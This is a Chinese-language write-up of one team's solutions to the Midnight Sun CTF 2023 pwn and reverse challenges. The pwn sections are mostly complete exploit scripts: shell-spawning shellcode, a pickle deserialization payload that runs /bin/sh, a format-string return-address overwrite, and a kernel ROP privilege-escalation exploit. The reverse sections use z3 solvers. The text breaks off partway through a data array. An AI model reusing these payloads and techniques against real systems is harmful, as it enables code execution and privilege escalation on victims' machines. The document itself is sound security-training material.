在本次2023年的Midnight Sun CTF国际赛上,星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队,勇夺第23名的成绩。
排名 | 总分 | 队伍 |
---|---|---|
21 | 3038 | xxx |
22 | 2938 | watevr |
23 | 2845 | VP-Union |
24 | 2646 | Kalmarunionen |
25 | 2612 | justCatTheFish |
26 | 2600 | purf3ct |
27 | 2538 | RoyalRoppers |
28 | 2537 | The Flat Network Society |
29 | 2191 | SPRUSH |
30 | 2190 | b01lers |
Pwn
pyttemjuk
拿到shell之后,不断输入type c:\flag.txt就可以拿到flag了
from pwn import *
from time import sleep
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('pyttemjuk-1.play.hfsc.tf', 1337)
#r = remote('192.168.10.107', 1234)
pause()
gets_plt = 0x40263C
bss_addr = 0x405090
p1 = b'a' * (0x14 + 4 + 0x8)
p1 += p32(gets_plt)
p1 += p32(0x401575)
p1 += p32(bss_addr)
r.sendlineafter('Enter your name: ', p1)
p2 = '\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9\x51\xff\xd6'
#p2 = b'bbbb'
#p2 = '\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x31\xff\x89\xdf\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\x0c\x31\xc9\x68\x65\x73\x73\x42\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x57\x31\xff\x89\xc7\xff\xd6\x83\xc4\x0c\x31\xc9\x51\x68\x64\x6c\x6c\x41\x88\x4c\x24\x03\x68\x6c\x33\x32\x2e\x68\x73\x68\x65\x6c\x54\x31\xd2\x89\xfa\x89\xc7\xff\xd2\x83\xc4\x0b\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x63\x75\x74\x65\x68\x6c\x45\x78\x65\x68\x53\x68\x65\x6c\x54\x50\xff\xd6\x83\xc4\x0d\x31\xc9\x68\x65\x78\x65\x41\x88\x4c\x24\x03\x68\x63\x6d\x64\x2e\x54\x59\x31\xd2\x42\x52\x31\xd2\x52\x52\x51\x52\x52\xff\xd0\xff\xd7'
sleep(1)
#p2 = '\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x68\x79\x41\x41\x41\x66\x89\x5c\x24\x01\x68\x65\x6d\x6f\x72\x68\x65\x72\x6f\x4d\x68\x52\x74\x6c\x5a\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x89\xca\xb2\x54\x51\x83\xec\x54\x8d\x0c\x24\x51\x52\x51\xff\xd0\x59\x31\xd2\x68\x73\x41\x42\x42\x66\x89\x54\x24\x02\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x14\x24\x51\x52\x57\xff\xd6\x59\x83\xc4\x10\x31\xdb\x68\x65\x78\x65\x41\x88\x5c\x24\x03\x68\x63\x6d\x64\x2e\x8d\x1c\x24\x31\xd2\xb2\x44\x89\x11\x8d\x51\x44\x56\x31\xf6\x52\x51\x56\x56\x56\x56\x56\x56\x53\x56\xff\xd0\x5e\x83\xc4\x08\x31\xdb\x68\x65\x73\x73\x41\x88\x5c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x1c\x24\x53\x57\xff\xd6\x31\xc9\x51\xff\xd0'
#p2 = '\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x52\x5e\x31\xff\x53\x5f\x31\xc9\x51\x68\x78\x65\x63\x00\x68\x57\x69\x6e\x45\x89\xe1\x51\x53\xff\xd2\x31\xc9\x51\x68\x65\x73\x73\x00\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\xe1\x51\x57\x31\xff\x89\xc7\xff\xd6\x31\xf6\x50\x5e\x31\xc9\x51\x68\x65\x78\x65\x00\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x00\x51\xff\xd7\x6a\x00\xff\xd6\xff\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00'
#p2 = '\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x89\xe1\x51\x53\xff\xd2\x31\xc9\x66\xb9\x6c\x6c\x51\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x89\xe1\x51\xff\xd0\x31\xff\x89\xc7\x31\xd2\x52\x66\xba\x65\x6d\x52\x68\x73\x79\x73\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\x31\xc9\x66\xb9\x66\x6f\x51\x68\x65\x6d\x69\x6e\x68\x73\x79\x73\x74\x89\xe1\x51\xff\xd0\x31\xc9\x66\xb9\x63\x68\x51\x68\x5f\x67\x65\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\xff\xd0\x31\xd2\x52\x68\x65\x78\x69\x74\x89\xe1\x51\x57\xff\xd6\xff\xd0'
r.sendline(p2)
p3 = b'a' * (0x14 + 4)
p3 += p32(bss_addr)
p3 += p32(bss_addr)
r.sendlineafter('Enter your name: ', p3)
sleep(5)
r.sendline('dir')
#r.sendline('calc')
r.interactive()
# midnight{i_prefer_sun_solaris_doors_over_microsoft_windows}
MemeControl
搜索发现有篇文章提到 torch 模块默认启用 pickle ,而 pickle 有任意执行漏洞,搜索找到漏洞利用方法
payload
cos
system
(S'/bin/sh'
tR.
#Y29zCnN5c3RlbQooUycvYmluL3NoJwp0Ui4=
base64 加密后发送
SCAAS
先利用 1 功能把程序 保存到本地
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='windows', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('scaas-1.play.hfsc.tf', 1337)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
sla(b'> ', b'1')
rl(b'Here is your SCAAS service: (\n')
text = b''
for i in range(83):
text += rl(b'\n')[:-1]
a = base64.b64decode(text)
with open('./pwn', 'rb+') as f:
f.write(a)
发现是一个压缩包,解压后得到程序文件。
对着文件开始逆向
推测程序是要经过三步验证,然后输入纯字符 + 数字 shellcode
输入的 password 则对应 retun 的返回值,这里明显需要令等式成立
到 stage 3 这里会比较坑
需要一个数与 8511 相乘,然而该程序是 32 位的,很容易爆寄存器能存放的数的最大值导致最后 cmp 时候出错。这里只需要模拟下寄存器溢出时候的情况。
for i in range(0xfffffff):
a = 8511 * i
if a > 0xffffffff:
b = str(hex(a))
c = b[-8:]
d = int(c, 16)
if d % 0x2B27EA == 24486:
print(i)
然后就能输入 shellcode 了。
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('scaas-1.play.hfsc.tf', 1337)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#gdb.attach(p, 'b *$rebase(0x1609)')
sla(b'> ', b'2')
sla(b'0: ', str(0x916D00))
sla(b'1: ', str(0x707817))
sla(b'2: ', str(1))
sla(b'3: ', str(0x840BC2))
sla(b'4: ', str(0x89228A))
sla(b'0: ', str(1243932))
sla(b'1: ', str(3103430))
sla(b'2: ', str(262505 - 456))
sla(b'3: ', str(262505))
sla(b'4: ', str(0x2b7))
sla(b'0: ', str(2124890))
sla(b'1: ', str(9874561))
sla(b'2: ', str(6280405 + 3274 + 4728))
sla(b'3: ', str(6280405))
sla(b'4: ', str(0))
sla(b'bytes): ', 'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA')
inter()
#pause()
SPD A
mmap 一段 rw 权限内存后,可以写入 0x1000 字节,然后 mprotect 为 x 权限,对寄存器赋值后执行写入的 shellcode。对写入的 shellcode 有检测,并且发现寄存器赋值后 rsp 还是指向栈,于是利用 orw 来读 flag
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64'', log_level='debug')
#p = process('./pwn')
p = remote('scaas-1.play.hfsc.tf', 1337)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#gdb.attach(p, 'b *$rebase(0x15ac)')
sa(b'c0de: ', asm(shellcraft.open('flag') + shellcraft.read(3, 'rsp', 0x30) + shellcraft.write(1, 'rsp', 0x30)))
pr()
#pause()
SPD B
一次程序三次格式化字符串漏洞机会,但是最多只能写入 12 字节,并且一次修改太大会卡栈。
并且由于 12 字节太少,用 %k$hn 的方式修改 当前函数 的返回地址肯定是会不够写的,用 %k$hhn 的方式写一个字节也肯定是不行的
加上我们是可以修改 for 循环用的 i 修改为 0 的,这样我们就可以无限循环触发格式化字符串漏洞了。
于是先修改栈上的 链子 使其指向 main 函数的 返回地址,将其修改为后门函数
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('spdb-1.play.hfsc.tf', 40002)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#
sla(b'guess: ', b'%1$p%3$p')
rl(b'0x')
stack = int(p.recv(8), 16)
ret = stack + 0xdc
vuln_ret = stack + 0x8c
i = stack + 0xac
rl(b'0x')
pro_base = int(p.recv(8), 16) - 0x1311
shell = pro_base + 0x138D
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str(ret & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str(shell & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str((ret + 1) & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str((shell >> 8) & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str((ret + 2) & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str((shell >> 16) & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)
sla(b'guess: ', b'%5$n' + p32(i))
payload = b'%' + str((ret + 3) & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
payload = b'%' + str((shell >> 24) & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)
inter()
#gdb.attach(p, 'b *$rebase(0x1369)')
print(' stack -> ', hex(stack))
print(' ret -> ', hex(ret))
print(' pro_base -> ', hex(pro_base))
#pause()
SPD C
riscv64 架构题,看到 c0de 联想到 SPD A 猜想是写入 shellcode
网上找到 shellcode 写入拿到 shell(https://xz.aliyun.com/t/8977#toc-4)
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process(['qemu-riscv64', './pwn'])
p = remote('spdc-1.play.hfsc.tf', 40003)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
shellcode = b"\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"
sla(b'c0de: ', shellcode)
inter()
SPD D
一道内核题目,查看发现没开什么内核保护,驱动也只开了 NX 保护。
漏洞是一个很明显的栈溢出。
没有开启 kalsr,直接 kernel rop,最后利用 kpti_trampoline 绕过保护并且返回用户态
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <linux/fs.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define ut uint64_t
void backdoor(){
system("/bin/sh");
}
void get_root(){
__asm__(
"mov rdi, 0;"
"mov rax, 0xffffffff81055db0;"
"call rax;"
"mov rdi, rax;"
"mov rax, 0xffffffff81055f00;"
"call rax;"
);
}
ut user_cs, user_ss, user_rsp, user_flag;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_flag;"
);
}
int main(){
save_status();
int fd = open("/dev/vuln", 2);
ut buf[50] = {0};
buf[33] = (ut)get_root;
buf[34] = 0xffffffff81400c36; //kpti_trampoline
buf[35] = 0;
buf[36] = 0;
buf[37] = (ut)backdoor;
buf[38] = user_cs;
buf[39] = user_flag;
buf[40] = user_rsp;
buf[41] = user_ss;
write(fd, buf, sizeof(buf));
puts("[+]root");
return 0;
}
最后利用 musl 编译,上传执行拿到 flag
midnight{964fe6242ca987d24f0fdfd851983c68}
Reverse
Pressure
本质上这个题目是通过内存加载多个elf文件来进行实现整个加密过程,我们打开文件可以发现
题目通过sub_55A78CFBA2C9
对内存进行解密,在调试过程中可以从内存中查看到有两个elf文件的信息,我们编写一个idc脚本进行提取:
static main(void)
{
auto fp, begin, end, dexbyte;
fp = fopen("C:\\Users\\Equinox\\Desktop\\elf", "wb");
begin = 0x07F84B1E76010;
end = begin + 0x4ff88;
for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
fputc(Byte(dexbyte), fp);
}
之后我们每次拿到的elf文件中都是上面的格式,有些elf中没有信息,大概能提取出16个elf
其中的加密逻辑都是下面的if
进行条件判断,我们分别对其进行解密即可
from z3 import *
from ctypes import *
from Crypto.Util.number import long_to_bytes
a1 = BitVec('flag', 16)
s = Solver()
# def check1(): #'_u'
# v3 = 0
# for i in range(16):
# v4 = ((1 << i) & a1) >> i
# if (i & 3) != 0 :
# if i % 4 == 1 :
# v3 |= ((((1 << i) & 0xA55A) >> i) ^ v4) << i
# else:
# if i % 4 == 2 :
# v1 = ((((1 << i) & 0xA55A) >> i) ^ v4) << i
# else:
# v1 = ((((1 << i) & 0x5AA5) >> i) ^ v4) << i
# v3 |= v1
# else:
# v3 |= ((((1 << i) & 0x5AA5) >> i) ^ v4) << i
# s.add(v3 == 0x63B6)
def check2(): #b'3b'
# v3 = 0
# v4 = 1
# for i in range(16):
# if (v4 & a1) != 0 :
# v1 = 0
# else:
# v1 = v4
# v3 |= v1
# v4 *= 2
# s.add(v3 == 0xFFFFCC9D)
for i in range(65535):
v3 = 0
v4 = 1
for j in range(16):
if v4 & i != 0 :
v1 = 0
else:
v1 = v4
v3 |= v1
v4 *= 2
v4 &= 0xFFFF
if v3 == 0xCC9D:
print(i)
break
def check3(): # b't4'
for i in range(65535):
t = i
for j in range(16):
v4 = t & 1
t >>= 1
if v4 :
t ^= 0xB400
if t == 18718:
print(i)
break
#s.add(a1 == 18718)
def check4():
a2 = 0x1337
for i in range(65535):
t = i
if ((t << 8)&0xffff | ((a2 + t) ^ ((t >> 8) & 0xff))&0xffff)&0xffff == 24546:
print(i)
break
# s.add(((a1 << 8) | ((a2 + a1) ^ (a1 >> 8 & 0xff))) == 24546)
def check5(): # b'3h'
# if a1&1 != 0:
# a2 = 3
# s.add(((a1 << a2) | (a1 >> (16 - a2))) == 107808365)
# else:
# a2 = 3
# s.add((a1 >> a2 == 107808365) | (a1 << (16 - a2)))
for i in range(65535):
t = i
# if t&1 != 0:
# a2 = 3
# if ((t << a2) | (t >> (16 - a2))) == 107808365:
# print(i)
# break
# else:
a2 = 3
if (t >> a2) == (107808365 &0xffff):
print(i)
break
def check6(): # b'c_'
v2 = 0
for i in range(16):
v2 |= ((a1 >> i) & 1) << (15 - i)
s.add(v2 == 64198)
def check7(): # b'\xf0\x0c'
# s.add(a1^0xf00d == 1)
for i in range(65535):
t = i
if (t^0xf00d) == 1:
print(i)
# def check8(): #kc
# a2 = 0x6907
# s.add(((16 * ((((a1 >> 4) & 0xF) + ((a2 >> 4) & 0xF)) & 0xF)) | (((((a1 >> 8 &0xff) & 0xF) + ((a2>> 8 &0xff) & 0xF)) & 0xF) << 8) | ((((a2 >> 12) * (a1 >> 12)) & 0xF) << 12) | ((a2 & 0xF) * (a1 & 0xF)) & 0xF) == 17509)
# a2 = 0x9231
# s.add(((16 * ((((a1 >> 4) & 0xF) + ((a2 >> 4) & 0xF)) & 0xF)) | (((((a1 >> 8 &0xff) & 0xF) + ((a2 >> 8 &0xff) & 0xF)) & 0xF) << 8) | ((((a2 >> 12) * (a1 >> 12)) & 0xF) << 12) | ((a2 & 0xF) * (a1 & 0xF)) & 0xF)== 28051)
check4()
# print(s.check())
# print(s.model())
print(long_to_bytes(13160))
#_u3bt4 3hc_ kc
#u_b34t_th3_crack
大致看看上面代码就行(逻辑太混了点)
通过z3以及手动爆破的方式可以得到下面的字符串(题目存在多解,但是下面的输入都是能够success,提交怎么都不对)
于是转头去问出题人,于是把下面的cr4ck
替换一下,换成c10ck
即可
Open Source Software
题目给出了C语言源代码,使用define定义了很多表达式,可以直接用z3计算,给出exp
from z3 import *
def rol_4(R2K):
return (((R2K)<<4)|((R2K)>>4))
def xor_byte(A9W,B8X):
return (((A9W)^(B8X))&0xff)
def Y2G(A9W,B8X):
return ((A9W)&0x55)|(((B8X)&0xaa)>>1)
def W4U(A9W,B8X):
return ((((A9W)*(B8X))%1257)&0xff)
def V5H(T3S):
return (((T3S)<<1)|((T3S)>>7))
def S6E(T3S):
return (((T3S)<<3)^((T3S)>>5))
def D7F(A9W,B8X):
return (((A9W)<<4)^(B8X))
def A1C(P6F,Q5G,R4H,S3I):
return rol_4(W4U(V5H(rol_4(Y2G(V5H(xor_byte(P6F,Q5G)),V5H(xor_byte(R4H,S3I))))),Q5G))
def B2D(P6F,Q5G):
return V5H(rol_4(xor_byte(P6F,Q5G)))
def C3E(P6F,Q5G):
return D7F(Q5G,rol_4(xor_byte(P6F,Q5G)))
def D4F(P6F,Q5G):
return ((P6F)^(Q5G))
def F2J(K2L):
return (V5H(rol_4(K2L)))
def E1I(K2L, q1s):
return W4U(V5H(rol_4(K2L)), q1s)
def G3K(K2L):
return S6E(K2L)
s = Solver()
flag = [BitVec(('flag%s' % i),32) for i in range(24) ]
#flag = [Int(('flag%s' % i)) for i in range(24) ]
p5f=[16,0,8,20,14,12,18,2,22,10,6,4]
i = 0
j9n = [0x1010, 024050, 034070, 28784, 0x12d2d, 0x10d0d, 042104, 012024, 0xc4c4, 0156334, 0x16161, 0270561]
g7k = [0,0,0,0,0,0]
h8m = [0,0,0,0,0,0]
for i in range(0,24):
s.add(flag[i] > 32)
s.add(flag[i] < 128)
for i in range(0, 24, 4):
if i < 12:
s.add(F2J(B2D(flag[p5f[i+3]],flag[p5f[i+3]+1])) == j9n[p5f[i+3]/2])
g7k[i/4]=D4F(C3E(flag[i*2],flag[i*2+2]),C3E(flag[i*2+4],flag[i*2+6]))
g7k[(i/4)+3]= D4F(C3E(flag[i*2+1],flag[i*2+3]),C3E(flag[i*2+5],flag[i*2+7]))
s.add(F2J(B2D(flag[p5f[i+1]],flag[p5f[i+1]+1])) == j9n[p5f[i+1]/2])
s.add(F2J(B2D(flag[p5f[i+2]],flag[p5f[i+2]+1])) == j9n[p5f[i+2]/2])
s.add(F2J(B2D(flag[p5f[i]],flag[p5f[i]+1])) == j9n[p5f[i]/2])
if i<4:
h8m[i/4]=A1C(flag[i],flag[i+4],flag[i+8],flag[i+12])
if i==4:
h8m[1]=A1C(flag[16],flag[20],flag[1],flag[5])
else:
if i < 16:
h8m[i/6]=A1C(flag[i-3],flag[i+1],flag[i+5],flag[i*2-3])
h8m[3]=A1C(flag[2],flag[6],flag[10],flag[14])
h8m[4]=A1C(flag[18],flag[22],flag[3],flag[7])
h8m[5]=A1C(flag[11],flag[15],flag[19],flag[23])
s.add(E1I(h8m[0], 1) == 0x5b)
s.add(E1I(h8m[1], 2) == 13)
s.add(E1I(h8m[2], 3) == 0x5D)
s.add(E1I(h8m[3], 4) == 0244)
s.add(E1I(h8m[4], 5) == 52)
s.add(E1I(h8m[5], 6) ==0xDC)
mul_num = 0
for i in range(24):
mul_num = ((mul_num*251)^flag[i]) & 0xffffffff
s.add(mul_num == 0x4E6F76D0)
s.add(G3K(g7k[0])==0x202)
s.add(G3K(g7k[1])==0x1aa2)
s.add(G3K(g7k[2])==0x5a5)
s.add(G3K(g7k[3])==03417)
s.add(G3K(g7k[4])==0x3787)
s.add(G3K(g7k[5])==030421)
s.add(flag[0] == 109)
s.add(flag[1] == 105)
s.add(flag[2] == 100)
s.add(flag[3] == 110)
s.add(flag[4] == 105)
s.add(flag[5] == 103)
s.add(flag[6] == 104)
s.add(flag[7] == 116)
s.add(flag[8] == 123)
s.add(flag[23] == 125)
print(s)
print(s.check())
m = s.model()
print m
for i in range(0,24):
print (chr(int("%s" % (m[flag[i]]))))
expectations
通过注册一系列的异常处理来修改 magic
的值,然后这个值会拿去乘输入来验证是否正确。
switch ( (i + 1) * (v7 % 6) % 6 )
{
case 0:
if ( !_setjmp(env) )
magic = dword_559E227B81A8 / 0; // 857 check SIGFPE
break;
case 1:
magic = 99;
if ( !_setjmp(env) )
BUG(); // 841 check SIGILL
return result;
case 2:
if ( !_setjmp(env) )
magic = (1.797693134862316e308 * dword_559E227B81A4 + dword_559E227B81A8);// 0x80000000
break;
case 3: // 1
_setjmp(env);
++magic;
break;
case 4:
if ( !_setjmp(env) )
{
v3 = dword_559E227B81A8 - (dword_559E227B81A4 * dword_559E227B81AC) / 0.0;// 0x80000000
magic = v3;
}
break;
case 5:
if ( !_setjmp(env) )
sub_559E227B547A(); // 981 check SIGSEGV
return result;
default:
break;
}
但是有一个地方需要注意的是,虽然有些分支会改成 0x80000000,但是这个数会被拓展为 0xffffffff80000000,在爆破字节的时候,前者是求不出结果的,而后者可以。
mov edx, cs:magic
movsxd rdx, edx
所以最后甚至可以手搓。前几个字节是 midnight{
,其中,前八个会用来生成一个序列,然后第九个字节就能进行验证了。此后的每一个输入都在验证,因此甚至可以直接手搓。每个字节似乎都能有两个可能,选出其中有意义的密文就可以了。
然后另外一点是,最终的输出是拿计算结果去校验的,通过这个方法保证了唯一解。不然实际上好几个输入都能让它显示 All characters processed.
的。
最后写一个深搜搞定了:
#include <iostream>
#include<vector>
using namespace std;
unsigned char ida_chars[] =
{
0xF5, 0x9B, 0x12, 0xAF, 0x7A, 0x23, 0x59, 0x8E, 0x1B, 0x17,
0x03, 0x19, 0x09, 0x05, 0x2C, 0x3E, 0x0E, 0x38, 0x28, 0x05,
0x2C, 0x3E, 0x0E, 0x38, 0x40, 0x17, 0x28, 0x27, 0x11, 0x0D,
0x26, 0x25, 0x35, 0x33, 0x09, 0x38, 0x19, 0x2C, 0x40, 0x08,
0x3E, 0x0E, 0x38, 0x1E, 0x40, 0x08, 0x3E, 0x0E, 0x38, 0x1B,
0x09, 0x19, 0x27, 0x21, 0x0D, 0x1B, 0x25, 0x35, 0x3A, 0xD1,
0x04, 0xF8, 0xBC, 0x34, 0x23, 0x38, 0xEB, 0x98, 0x48, 0x14,
